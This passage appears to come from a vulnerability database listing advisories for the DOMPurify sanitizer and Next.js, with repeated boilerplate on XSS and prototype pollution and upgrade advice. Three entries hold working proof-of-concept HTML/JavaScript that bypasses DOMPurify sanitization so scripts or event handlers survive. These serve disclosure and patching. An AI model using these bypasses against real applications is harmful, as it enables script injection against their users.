• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 2.5.9, 3.3.2 or higher.

References

• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the createDOMPurify() function, via comments embedded in XML textarea attributes containing scripts.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.2.7 or higher.

References

• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) leading to cross-site scripting, via custom elements. When CUSTOM_ELEMENT_HANDLING is not enabled, and an attacker has already polluted the prototype of objects supplied to DOMPurify.sanitize(), the tagNameCheck and attributeNameCheck regex values allow arbitrary custom elements including event handlers to bypass sanitization.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the IN_PLACE process when attacker-controlled live DOM nodes are sanitized. An attacker can execute arbitrary scripts in the context of the application by passing a manipulated DOM node with a spoofed nodeName property, causing malicious script elements to be retained and executed upon insertion into the document.

PoC

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const foreign = window.open('about:blank', '_blank', 'noopener=no');

  const host = foreign.document.createElement('div');
  const script = foreign.document.createElement('script');
  script.textContent = 'window.__pwned = 1';
  Object.defineProperty(script, 'nodeName', {
    value: 'DIV',
    configurable: true,
  });
  host.appendChild(script);

  DOMPurify.sanitize(host, { IN_PLACE: true });

  console.log('output:', host.outerHTML);
  // <div><script>window.__pwned = 1</script></div>

  window.__pwned = 0;
  document.body.appendChild(host);
  console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.8 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the IN_PLACE function when handling a <template> element containing an element with an attached shadow DOM. An attacker can execute arbitrary scripts in the context of the user by injecting malicious content into the shadow DOM, which is not sanitized and is later executed when the template is cloned and inserted into the page.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.7 or higher.

References

• GitHub Advisory
• GitHub Commit
• Red Hat Bugzilla Bug

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the SAFE_FOR_TEMPLATES function. An attacker can inject template expressions that survive sanitization inside <template> element content by splitting malicious expressions across adjacent text nodes, which are not properly scrubbed. This allows execution of arbitrary code or exfiltration of sensitive data if a downstream template engine evaluates the merged content.

This is only exploitable if both SAFE_FOR_TEMPLATES: true and either RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true are explicitly set, and the application processes <template>.content with a template engine.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.8 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the sanitize process. An attacker can execute arbitrary scripts in the context of the user’s browser by leveraging persistent function predicates supplied via ADD_ATTR or ADD_TAGS that are not cleared or overwritten across subsequent calls, allowing approval of attacker-controlled attributes or tags.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.0 or higher.

References

• GitHub Advisory
• vulncheck

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the IN_PLACE sanitization process when a hook removes an element, leaving its detached descendants with executable event handlers. An attacker can execute arbitrary JavaScript code in the application's origin by supplying crafted HTML that leverages this behavior. This is only exploitable if the application uses the IN_PLACE configuration along with a hook that removes a containing element.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.13 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Improper Initialization in the DOMPurify.setConfig() API when an uponSanitizeAttribute hook is registered that mutates allowedAttributes. An attacker can cause persistent modification of the attribute allowlist by submitting specially crafted content, resulting in unauthorized attributes being permitted in all subsequent sanitization calls.

Remediation

Upgrade dompurify to version 3.4.11 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Prototype Pollution in the IN_PLACE function when sanitizing a root element that is a <form> with event handler attributes and a descendant element whose name attribute matches certain property names checked by _isClobbered. An attacker can cause malicious attributes, such as event handlers or JavaScript URIs, to persist on the root element by crafting a DOM structure where the root is clobbered and then passing it to the sanitizer in IN_PLACE mode. This allows the attacker to execute arbitrary JavaScript or bypass attribute-level defenses when the sanitized node is reinserted into the live document.

Note:

This is only exploitable if the sanitizer is used in IN_PLACE mode on a detached root element that is an HTMLFormElement with a clobber-named child.

PoC

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const root = document.createElement('form');
  root.setAttribute('onmouseover', 'window.__rooted = 1');
  const clobber = document.createElement('input');
  clobber.setAttribute('name', 'nodeName');
  root.appendChild(clobber);

  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
  DOMPurify.sanitize(root, { IN_PLACE: true });

  console.log('output:', root.outerHTML);
  // <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

  document.body.appendChild(root);
  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  console.log('handler fired:', window.__rooted === 1);  // true
</script>
</body></html>

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade dompurify to version 3.4.6 or higher.

References

• GitHub Advisory
• GitHub Commit
• Red Hat Bugzilla Bug

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Trust Boundary Violation through the mutation of data.allowedTags or data.allowedAttributes in hooks, which directly alters the global default sets used for sanitization. An attacker can cause persistent changes to the default allow-lists, enabling malicious tags or attributes to bypass sanitization in subsequent calls by injecting payloads that exploit the polluted configuration.

Note:

This is only exploitable if a hook is registered that mutates data.allowedTags or data.allowedAttributes, and later sanitization occurs without explicitly setting restrictive configuration arrays.

PoC

// 1) fresh DOMPurify, default config — script is blocked
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg></svg>"

// 2) install a hook that mutates data.allowedTags (natural-looking pattern)
DOMPurify.addHook('uponSanitizeElement', (node, data) => {
  data.allowedTags['script'] = true;
});

// 3) one sanitize call WITH the hook — script survives (expected during the hook)
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg><script>alert(1)</script></svg>"

// 4) remove the hook
DOMPurify.removeAllHooks();
DOMPurify.clearConfig();

// 5) sanitize attacker content with default config — POLLUTION PERSISTS
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg><script>alert(1)</script></svg>"  ← script survived without any hook

// 6) the only recovery: create a fresh DOMPurify instance
const fresh = DOMPurify(window);
fresh.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg></svg>"  ← clean

Remediation

Upgrade dompurify to version 3.4.7 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Trust Boundary Violation in the sanitize function when handling DOM nodes from a different same-origin realm due to improper realm-bound instanceof checks. An attacker can inject and execute malicious markup by providing specially crafted DOM nodes from a foreign realm, which bypass internal security checks and allow executable content to persist in form attributes, template content, and attached shadow roots.

Remediation

Upgrade dompurify to version 3.4.6 or higher.

References

• GitHub Advisory
• GitHub Commit
• Red Hat Bugzilla Bug

Overview

next is a react framework.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the beforeInteractive process, when untrusted input is embedded without proper escaping. An attacker can execute arbitrary JavaScript in a user's browser by injecting malicious content into the serialized script.

Workaround

This vulnerability can be mitigated by not passing untrusted data into beforeInteractive scripts, or by sanitizing or escaping the content before embedding it.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

• GitHub Release
• GitHub Release
• Maintainer's Advisory

MPL-2.0 license